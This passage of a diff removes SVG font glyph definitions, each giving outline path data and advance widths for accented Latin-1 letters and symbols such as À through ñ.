-                d="M72 0v162h168q141 338 283.5 668.5t283.5 668.5q141 -338 283.5 -668.5t283.5 -668.5h168v-162h-455v162h115q-43 102 -85 202.5t-85 202.5h-450l-172 -405h116v-162h-454zM651 729h312l-138 326l-20 67q-2 -4 -4 -14t-6 -23q-4 -14 -11 -30q-27 -59 -49 -117 q-20 -49 -42.5 -106.5t-41.5 -102.5zM750 1536q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xc2;"
-                horiz-adv-x="1613"
-                d="M72 0v162h168q141 338 283.5 668.5t283.5 668.5q141 -338 283.5 -668.5t283.5 -668.5h168v-162h-455v162h115q-43 102 -85 202.5t-85 202.5h-450l-172 -405h116v-162h-454zM561 1536q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74 t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121zM651 729h312l-138 326l-20 67q-2 -4 -4 -14t-6 -23q-4 -14 -11 -30q-27 -59 -49 -117q-20 -49 -42.5 -106.5t-41.5 -102.5z"
-            />
-<glyph
-                unicode="&#xc3;"
-                horiz-adv-x="1613"
-                d="M72 0v162h168q141 338 283.5 668.5t283.5 668.5q141 -338 283.5 -668.5t283.5 -668.5h168v-162h-455v162h115q-43 102 -85 202.5t-85 202.5h-450l-172 -405h116v-162h-454zM479 1573q2 41 20.5 75t45 57.5t58 35.5t62.5 12q47 0 85 -18t73 -49q31 -33 54.5 -43t51.5 -10 q14 0 32 4t34 14t27.5 28.5t15.5 47.5l92 -6q-2 -41 -20.5 -75t-45 -56.5t-58.5 -34.5t-62 -12q-47 0 -85 18t-73 47q-31 33 -54.5 43t-51.5 10q-29 0 -66 -18.5t-43 -75.5zM651 729h312l-138 326l-20 67q-2 -4 -4 -14t-6 -23q-4 -14 -11 -30q-27 -59 -49 -117 q-20 -49 -42.5 -106.5t-41.5 -102.5z"
-            />
-<glyph
-                unicode="&#xc4;"
-                horiz-adv-x="1613"
-                d="M72 0v162h168q141 338 283.5 668.5t283.5 668.5q141 -338 283.5 -668.5t283.5 -668.5h168v-162h-455v162h115q-43 102 -85 202.5t-85 202.5h-450l-172 -405h116v-162h-454zM530 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z M651 729h312l-138 326l-20 67q-2 -4 -4 -14t-6 -23q-4 -14 -11 -30q-27 -59 -49 -117q-20 -49 -42.5 -106.5t-41.5 -102.5zM870 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xc5;"
-                horiz-adv-x="1613"
-                d="M72 0v162h168q141 338 283.5 668.5t283.5 668.5q141 -338 283.5 -668.5t283.5 -668.5h168v-162h-455v162h115q-43 102 -85 202.5t-85 202.5h-450l-172 -405h116v-162h-454zM627 1716q0 37 14 68.5t39 56t56.5 39t68.5 14.5t68.5 -14.5t56.5 -39t39 -56t14 -68.5 t-14 -68.5t-39 -56.5t-56.5 -39t-68.5 -14t-68.5 14t-56.5 39t-39 56.5t-14 68.5zM651 729h312l-138 326l-20 67q-2 -4 -4 -14t-6 -23q-4 -14 -11 -30q-27 -59 -49 -117q-20 -49 -42.5 -106.5t-41.5 -102.5zM739 1714q0 -29 18.5 -47.5t47.5 -18.5t48.5 18.5t19.5 47.5 t-19.5 48t-48.5 19t-47.5 -19t-18.5 -48z"
-            />
-<glyph
-                unicode="&#xc6;"
-                horiz-adv-x="1591"
-                d="M72 0v162h164q135 319 269 635.5t269 636.5h717v-316h-162v154h-356v-469h438v-162h-438v-479h385v153h162v-315h-717v541h-236q-41 -96 -81 -189.5t-80 -189.5h120v-162h-454zM635 702h168v420q-29 -106 -77 -210.5t-91 -209.5z"
-            />
-<glyph
-                unicode="&#xc7;"
-                horiz-adv-x="1171"
-                d="M72 715q0 152 57 286t156.5 233t232.5 157.5t285 58.5q104 0 197.5 -26.5t177.5 -75.5v-455h-162v350q-102 45 -213 45q-117 0 -218.5 -45t-178 -124t-120.5 -183.5t-44 -220.5q0 -117 44 -221.5t120.5 -181t178 -122t218.5 -45.5q152 0 280 76l93 -135 q-78 -45 -164 -71.5t-181 -30.5q0 -27 3 -29q10 -39 35.5 -51.5t48.5 -28.5q43 -33 60 -74t17 -92q0 -43 -13 -83t-41 -70.5t-67.5 -49t-93.5 -18.5q-70 0 -128 38t-85 116l95 49q10 -33 36.5 -54.5t67.5 -21.5q49 0 75.5 33t26.5 82q0 41 -22.5 64.5t-48 42t-48 39 t-22.5 54.5v58q-139 14 -258 75.5t-208 158.5t-139 224t-50 269z"
-            />
-<glyph
-                unicode="&#xc8;"
-                horiz-adv-x="1169"
-                d="M72 0v162h114v1110h-114v162h997v-316h-162v154h-551v-469h633v-162h-633v-479h580v153h162v-315h-1026zM297 1808h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5z"
-            />
-<glyph
-                unicode="&#xc9;"
-                horiz-adv-x="1169"
-                d="M72 0v162h114v1110h-114v162h997v-316h-162v154h-551v-469h633v-162h-633v-479h580v153h162v-315h-1026zM539 1536q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xca;"
-                horiz-adv-x="1169"
-                d="M72 0v162h114v1110h-114v162h997v-316h-162v154h-551v-469h633v-162h-633v-479h580v153h162v-315h-1026zM368 1536q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121z"
-            />
-<glyph
-                unicode="&#xcb;"
-                horiz-adv-x="1169"
-                d="M72 0v162h114v1110h-114v162h997v-316h-162v154h-551v-469h633v-162h-633v-479h580v153h162v-315h-1026zM319 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM659 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77 t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xcc;"
-                horiz-adv-x="638"
-                d="M0 1808h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5zM72 0v162h161v1110h-161v162h495v-162h-164v-1110h164v-162h-495z"
-            />
-<glyph
-                unicode="&#xcd;"
-                horiz-adv-x="638"
-                d="M72 0v162h161v1110h-161v162h495v-162h-164v-1110h164v-162h-495zM277 1536q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xce;"
-                horiz-adv-x="645"
-                d="M72 0v162h161v1110h-161v162h495v-162h-164v-1110h164v-162h-495zM77 1536q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121z"
-            />
-<glyph
-                unicode="&#xcf;"
-                horiz-adv-x="645"
-                d="M47 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM72 0v162h161v1110h-161v162h495v-162h-164v-1110h164v-162h-495zM387 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xd0;"
-                horiz-adv-x="1294"
-                d="M72 0v162h96v471h-78v166h78v473h-96v162h430q147 0 278 -50.5t229.5 -144.5t156 -226t57.5 -298q0 -121 -42 -248t-136.5 -230.5t-245 -170t-367.5 -66.5h-360zM338 162h143q121 0 225.5 40t181.5 111.5t121 174t44 229.5t-44 229.5t-121 175t-181.5 111.5t-225.5 39 h-143v-473h371v-166h-371v-471z"
-            />
-<glyph
-                unicode="&#xd1;"
-                horiz-adv-x="1673"
-                d="M72 0v162h178v1110h-178v162h237l989 -1072l39 -53l-6 66v897h-147v162h495v-162h-178v-1338l-1048 1115l-39 53l6 -66v-874h147v-162h-495zM494 1548q2 41 20.5 75t45 57.5t58 35.5t62.5 12q47 0 85 -18t73 -49q31 -33 54.5 -43t51.5 -10q14 0 32 4t34 14t27.5 28.5 t15.5 47.5l92 -6q-2 -41 -20.5 -75t-45 -56.5t-58.5 -34.5t-62 -12q-47 0 -85 18t-73 47q-31 33 -54.5 43t-51.5 10q-29 0 -66 -18.5t-43 -75.5z"
-            />
-<glyph
-                unicode="&#xd2;"
-                horiz-adv-x="1609"
-                d="M72 715q0 150 57 284t156.5 234t232.5 158.5t285 58.5q150 0 284 -58.5t234 -158.5t158.5 -234.5t58.5 -283.5q0 -152 -58.5 -285t-158.5 -232.5t-234.5 -156.5t-283.5 -57q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285zM242 715q0 -119 44 -222.5t120.5 -180 t179 -122t219.5 -45.5t219 45.5t179 122t121 180t44 222.5t-44 222t-121 181t-179 123t-219 45t-219.5 -45t-179 -123t-120.5 -181t-44 -222zM531 1808h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5z"
-            />
-<glyph
-                unicode="&#xd3;"
-                horiz-adv-x="1609"
-                d="M72 715q0 150 57 284t156.5 234t232.5 158.5t285 58.5q150 0 284 -58.5t234 -158.5t158.5 -234.5t58.5 -283.5q0 -152 -58.5 -285t-158.5 -232.5t-234.5 -156.5t-283.5 -57q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285zM242 715q0 -119 44 -222.5t120.5 -180 t179 -122t219.5 -45.5t219 45.5t179 122t121 180t44 222.5t-44 222t-121 181t-179 123t-219 45t-219.5 -45t-179 -123t-120.5 -181t-44 -222zM754 1536q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xd4;"
-                horiz-adv-x="1609"
-                d="M72 715q0 150 57 284t156.5 234t232.5 158.5t285 58.5q150 0 284 -58.5t234 -158.5t158.5 -234.5t58.5 -283.5q0 -152 -58.5 -285t-158.5 -232.5t-234.5 -156.5t-283.5 -57q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285zM242 715q0 -119 44 -222.5t120.5 -180 t179 -122t219.5 -45.5t219 45.5t179 122t121 180t44 222.5t-44 222t-121 181t-179 123t-219 45t-219.5 -45t-179 -123t-120.5 -181t-44 -222zM567 1536q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5 t-62.5 -73.5h-121z"
-            />
-<glyph
-                unicode="&#xd5;"
-                horiz-adv-x="1609"
-                d="M72 715q0 150 57 284t156.5 234t232.5 158.5t285 58.5q150 0 284 -58.5t234 -158.5t158.5 -234.5t58.5 -283.5q0 -152 -58.5 -285t-158.5 -232.5t-234.5 -156.5t-283.5 -57q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285zM242 715q0 -119 44 -222.5t120.5 -180 t179 -122t219.5 -45.5t219 45.5t179 122t121 180t44 222.5t-44 222t-121 181t-179 123t-219 45t-219.5 -45t-179 -123t-120.5 -181t-44 -222zM481 1620q2 41 20.5 75t45 57.5t58 35.5t62.5 12q47 0 85 -18t73 -49q31 -33 54.5 -43t51.5 -10q14 0 32 4t34 14t27.5 28.5 t15.5 47.5l92 -6q-2 -41 -20.5 -75t-45 -56.5t-58.5 -34.5t-62 -12q-47 0 -85 18t-73 47q-31 33 -54.5 43t-51.5 10q-29 0 -66 -18.5t-43 -75.5z"
-            />
-<glyph
-                unicode="&#xd6;"
-                horiz-adv-x="1609"
-                d="M72 715q0 150 57 284t156.5 234t232.5 158.5t285 58.5q150 0 284 -58.5t234 -158.5t158.5 -234.5t58.5 -283.5q0 -152 -58.5 -285t-158.5 -232.5t-234.5 -156.5t-283.5 -57q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285zM242 715q0 -119 44 -222.5t120.5 -180 t179 -122t219.5 -45.5t219 45.5t179 122t121 180t44 222.5t-44 222t-121 181t-179 123t-219 45t-219.5 -45t-179 -123t-120.5 -181t-44 -222zM540 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM880 1659q0 47 33 78t74 31 q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xd7;"
-                horiz-adv-x="1024"
-                d="M223 522l121 121l203 -203l201 201q29 -29 58.5 -59.5t57.5 -59.5l-198 -198q51 -51 100 -101.5t100 -101.5l-121 -121q-51 51 -101 100.5t-101 100.5l-199 -199q-29 29 -59.5 58.5t-59.5 58.5l201 200z"
-            />
-<glyph
-                unicode="&#xd8;"
-                horiz-adv-x="1609"
-                d="M72 715q0 152 57 286t156.5 233t232.5 157.5t285 58.5q117 0 222 -35t196 -96q33 39 65.5 77t65.5 77q29 -27 59.5 -52.5t58.5 -52.5q-33 -39 -65.5 -76t-65.5 -75q92 -98 145.5 -227.5t53.5 -274.5q0 -152 -58.5 -285t-157.5 -232.5t-233.5 -156.5t-285.5 -57 q-117 0 -220.5 32.5t-191.5 92.5q-31 -35 -61.5 -72t-61.5 -72q-29 27 -59.5 52.5t-58.5 52.5q31 35 60.5 70.5t59.5 70.5q-92 98 -145 227.5t-53 276.5zM242 715q0 -109 36.5 -204t102.5 -171q184 215 365.5 426t365.5 426q-68 45 -145.5 70.5t-163.5 25.5 q-117 0 -218.5 -45t-178 -124t-120.5 -183t-44 -221zM500 236q66 -43 141.5 -67t161.5 -24q117 0 219 45.5t179 122t122 181t45 221.5q0 106 -37 201.5t-102 170.5q-184 -215 -364.5 -425.5t-364.5 -425.5z"
-            />
-<glyph
-                unicode="&#xd9;"
-                horiz-adv-x="1492"
-                d="M72 1272v162h495v-162h-168v-803q0 -78 26 -138.5t72 -101.5t109.5 -62.5t138.5 -21.5q76 0 139.5 21.5t109.5 62.5t73 101.5t27 138.5v803h-168v162h495v-162h-157v-809q0 -117 -40 -207t-110 -150.5t-164 -91t-205 -30.5t-205 30.5t-163.5 91t-108.5 150.5t-39 207v809 h-157zM437 1808h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5z"
-            />
-<glyph
-                unicode="&#xda;"
-                horiz-adv-x="1492"
-                d="M72 1272v162h495v-162h-168v-803q0 -78 26 -138.5t72 -101.5t109.5 -62.5t138.5 -21.5q76 0 139.5 21.5t109.5 62.5t73 101.5t27 138.5v803h-168v162h495v-162h-157v-809q0 -117 -40 -207t-110 -150.5t-164 -91t-205 -30.5t-205 30.5t-163.5 91t-108.5 150.5t-39 207v809 h-157zM697 1536q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xdb;"
-                horiz-adv-x="1492"
-                d="M72 1272v162h495v-162h-168v-803q0 -78 26 -138.5t72 -101.5t109.5 -62.5t138.5 -21.5q76 0 139.5 21.5t109.5 62.5t73 101.5t27 138.5v803h-168v162h495v-162h-157v-809q0 -117 -40 -207t-110 -150.5t-164 -91t-205 -30.5t-205 30.5t-163.5 91t-108.5 150.5t-39 207v809 h-157zM503 1538q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121z"
-            />
-<glyph
-                unicode="&#xdc;"
-                horiz-adv-x="1492"
-                d="M72 1272v162h495v-162h-168v-803q0 -78 26 -138.5t72 -101.5t109.5 -62.5t138.5 -21.5q76 0 139.5 21.5t109.5 62.5t73 101.5t27 138.5v803h-168v162h495v-162h-157v-809q0 -117 -40 -207t-110 -150.5t-164 -91t-205 -30.5t-205 30.5t-163.5 91t-108.5 150.5t-39 207v809 h-157zM473 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM813 1659q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xdd;"
-                horiz-adv-x="1615"
-                d="M72 1272v162h495v-162h-82q76 -125 150 -250t149 -250l23 -63h2l25 63l294 500h-79v162h495v-162h-207q-106 -180 -211.5 -360.5t-212.5 -360.5v-389h150v-162h-496v162h138v391q-109 180 -214.5 359.5t-211.5 359.5h-207zM762 1536q47 68 92 136.5t92 135.5h172 q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xde;"
-                horiz-adv-x="1112"
-                d="M72 0v162h145v1110h-145v162h454v-162h-139v-176h168q70 0 155 -21.5t158.5 -69t122.5 -121t49 -177.5q0 -186 -110.5 -296t-319.5 -110h-223v-139h180v-162h-495zM387 465h178q90 0 148.5 23.5t93.5 58.5t49 78t14 82q0 45 -23.5 87t-63.5 73.5t-96 50t-120 18.5h-180 v-471z"
-            />
-<glyph
-                unicode="&#xdf;"
-                horiz-adv-x="1144"
-                d="M72 0v162h123v522h-123v166h123v16q0 111 35.5 200t95 151.5t137.5 95.5t162 33q68 0 127 -26t104 -71t70.5 -104.5t25.5 -126.5q0 -66 -24.5 -122t-65.5 -97q94 -59 152.5 -156.5t58.5 -216.5q0 -92 -36 -173t-97 -141.5t-142 -95t-173 -34.5q-96 0 -176 36l69 152 q51 -23 107 -23q57 0 107 23t88 60.5t60.5 88t22.5 107.5t-22.5 107.5t-61.5 87t-90 58t-108 21.5q0 20 -1.5 40t-1.5 42v84q70 0 117 40t47 112q0 63 -45 113.5t-110 48.5q-117 -4 -189.5 -89t-72.5 -235v-856h-293z"
-            />
-<glyph
-                unicode="&#xe0;"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h141v-606h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 128t-31.5 154.5zM213 1253h172 q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5zM244 385q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169z"
-            />
-<glyph
-                unicode="&#xe1;"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h141v-606h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 128t-31.5 154.5zM244 385 q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169zM475 981q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xe2;"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h141v-606h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 128t-31.5 154.5zM244 385 q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169zM288 981q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121z"
-            />
-<glyph
-                unicode="&#xe3;"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h141v-606h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 128t-31.5 154.5zM162 950q2 41 20.5 75 t45 57.5t58 35.5t62.5 12q47 0 85 -18t73 -49q31 -33 54.5 -43t51.5 -10q14 0 32 4t34 14t27.5 28.5t15.5 47.5l92 -6q-2 -41 -20.5 -75t-45 -56.5t-58.5 -34.5t-62 -12q-47 0 -85 18t-73 47q-31 33 -54.5 43t-51.5 10q-29 0 -66 -18.5t-43 -75.5zM244 385q0 -100 66.5 -169 t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169z"
-            />
-<glyph
-                unicode="&#xe4;"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h141v-606h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 128t-31.5 154.5zM221 1065q0 47 33 78 t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM244 385q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169zM561 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30 q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xe5;"
-                d="M72 383q0 80 31.5 153.5t87 129t131 88t161.5 32.5q55 0 102.5 -16t82 -35.5t55 -38t20.5 -24.5q0 23 4.5 47t4.5 49h141v-606h156v-162h-306v41v41q-2 -6 -20 -22.5t-52 -34t-81 -30.5t-107 -13q-86 0 -161.5 31.5t-131 87t-87 128t-31.5 154.5zM244 385 q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169zM324 1106q0 37 14 68.5t39 56t56.5 39t68.5 14.5t68.5 -14.5t56.5 -39t39 -56t14 -68.5t-14 -68.5t-39 -56.5t-56.5 -39t-68.5 -14t-68.5 14t-56.5 39t-39 56.5 t-14 68.5zM436 1104q0 -29 18.5 -47.5t47.5 -18.5t48.5 18.5t19.5 47.5t-19.5 48t-48.5 19t-47.5 -19t-18.5 -48z"
-            />
-<glyph
-                unicode="&#xe6;"
-                horiz-adv-x="1255"
-                d="M72 225q0 63 24.5 107.5t66.5 70t95 37t109 11.5h182v49q0 31 -5 52t-20.5 36.5t-45 22.5t-77.5 7q-27 0 -56.5 -5t-58 -13t-54 -18.5t-39.5 -20.5q-23 29 -45.5 54.5t-45.5 54.5q23 23 59 44t77 36.5t84 24.5t81 9q160 0 230 -45q90 45 190 45q63 0 122 -25.5t105 -70.5 t80.5 -107.5t53.5 -136.5q-117 -43 -231.5 -86t-231.5 -86v-8q0 -49 -10 -96q25 -12 53.5 -17.5t58.5 -5.5q94 0 156 66l104 -123q-51 -51 -116.5 -79.5t-143.5 -28.5q-109 0 -200 51q-76 -51 -224 -51q-74 0 -134 11t-103 39.5t-66.5 76t-23.5 118.5zM244 217 q0 -43 49 -57.5t104 -14.5q23 0 49.5 1t49 7.5t38 21.5t15.5 46v53h-115q-29 0 -62.5 -2t-62 -8t-47 -17t-18.5 -30zM715 596q6 -43 6 -100v-45q61 23 122.5 45t123.5 45q-29 35 -65 56t-79 21q-59 0 -108 -22z"
-            />
-<glyph
-                unicode="&#xe7;"
-                horiz-adv-x="815"
-                d="M74 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q76 0 141.5 -23.5t118.5 -64.5v-237h-153v137q-51 23 -107 23q-106 0 -172.5 -67t-66.5 -169q0 -100 66.5 -169t172.5 -69q91 1 154 52l102 -129q-53 -41 -118.5 -64.5t-139.5 -23.5q0 -31 8.5 -47.5t20.5 -26.5 t27.5 -16.5t29.5 -16.5q43 -33 60.5 -74t17.5 -92q0 -70 -35 -128t-104 -81q-35 -12 -76 -12q-70 0 -128 38t-85 116l94 49q10 -33 37 -54.5t68 -21.5q49 0 75.5 33t26.5 82q0 41 -22.5 64.5t-48 42t-48 39t-22.5 54.5v66q-66 16 -122 53t-96 88t-62.5 114.5t-22.5 133.5z "
-            />
-<glyph
-                unicode="&#xe8;"
-                horiz-adv-x="921"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q63 0 122 -25.5t105 -70.5t81 -107.5t53 -136.5q-139 -51 -277.5 -102t-277.5 -102q31 -43 81 -69t113 -26q94 0 156 66l104 -123q-51 -51 -116.5 -79.5t-143.5 -28.5q-86 0 -160.5 31.5t-130 87t-87 128t-31.5 156.5z M164 1253h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5zM242 401q96 35 191 71t192 71q-29 35 -65 56.5t-79 21.5q-104 0 -169.5 -62.5t-69.5 -157.5z"
-            />
-<glyph
-                unicode="&#xe9;"
-                horiz-adv-x="921"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q63 0 122 -25.5t105 -70.5t81 -107.5t53 -136.5q-139 -51 -277.5 -102t-277.5 -102q31 -43 81 -69t113 -26q94 0 156 66l104 -123q-51 -51 -116.5 -79.5t-143.5 -28.5q-86 0 -160.5 31.5t-130 87t-87 128t-31.5 156.5z M242 401q96 35 191 71t192 71q-29 35 -65 56.5t-79 21.5q-104 0 -169.5 -62.5t-69.5 -157.5zM449 981q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xea;"
-                horiz-adv-x="921"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q63 0 122 -25.5t105 -70.5t81 -107.5t53 -136.5q-139 -51 -277.5 -102t-277.5 -102q31 -43 81 -69t113 -26q94 0 156 66l104 -123q-51 -51 -116.5 -79.5t-143.5 -28.5q-86 0 -160.5 31.5t-130 87t-87 128t-31.5 156.5z M225 981q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121zM242 401q96 35 191 71t192 71q-29 35 -65 56.5t-79 21.5q-104 0 -169.5 -62.5t-69.5 -157.5z"
-            />
-<glyph
-                unicode="&#xeb;"
-                horiz-adv-x="921"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q63 0 122 -25.5t105 -70.5t81 -107.5t53 -136.5q-139 -51 -277.5 -102t-277.5 -102q31 -43 81 -69t113 -26q94 0 156 66l104 -123q-51 -51 -116.5 -79.5t-143.5 -28.5q-86 0 -160.5 31.5t-130 87t-87 128t-31.5 156.5z M194 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM242 401q96 35 191 71t192 71q-29 35 -65 56.5t-79 21.5q-104 0 -169.5 -62.5t-69.5 -157.5zM534 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30 q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xec;"
-                horiz-adv-x="598"
-                d="M0 1253h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5zM72 0v162h143v444h-143v162h313v-606h141v-162h-454z"
-            />
-<glyph
-                unicode="&#xed;"
-                horiz-adv-x="598"
-                d="M72 0v162h143v444h-143v162h313v-606h141v-162h-454zM242 981q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xee;"
-                horiz-adv-x="598"
-                d="M55 981q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121zM72 0v162h143v444h-143v162h313v-606h141v-162h-454z"
-            />
-<glyph
-                unicode="&#xef;"
-                horiz-adv-x="598"
-                d="M26 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM72 0v162h143v444h-143v162h313v-606h141v-162h-454zM366 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xf0;"
-                horiz-adv-x="964"
-                d="M72 379q-2 82 27.5 156.5t84 130t128 89t159.5 36.5q66 2 131 -17q-27 82 -66.5 159t-89.5 148q-23 -27 -47 -51t-47 -51q-29 29 -59.5 54t-59.5 54q29 31 57.5 62t57.5 61q-90 104 -188 189q31 29 62.5 56.5t62.5 55.5q92 -72 184 -170q23 27 46.5 51.5t45.5 51.5 q29 -27 59.5 -52.5t59.5 -52.5q-29 -31 -55.5 -60.5t-55.5 -59.5q63 -84 122 -184.5t104 -207t71.5 -215t26.5 -209.5q2 -84 -27.5 -157.5t-83 -130t-127 -91t-159.5 -36.5t-162 27.5t-133.5 83t-92 125t-36.5 155.5zM244 385q0 -51 19.5 -94t51 -74t76.5 -48t98 -15 t96.5 21.5t74 52t47 76.5t16.5 93q-2 51 -21.5 94.5t-51.5 74t-77 47t-96 14.5q-109 -4 -173 -72t-60 -170z"
-            />
-<glyph
-                unicode="&#xf1;"
-                horiz-adv-x="1187"
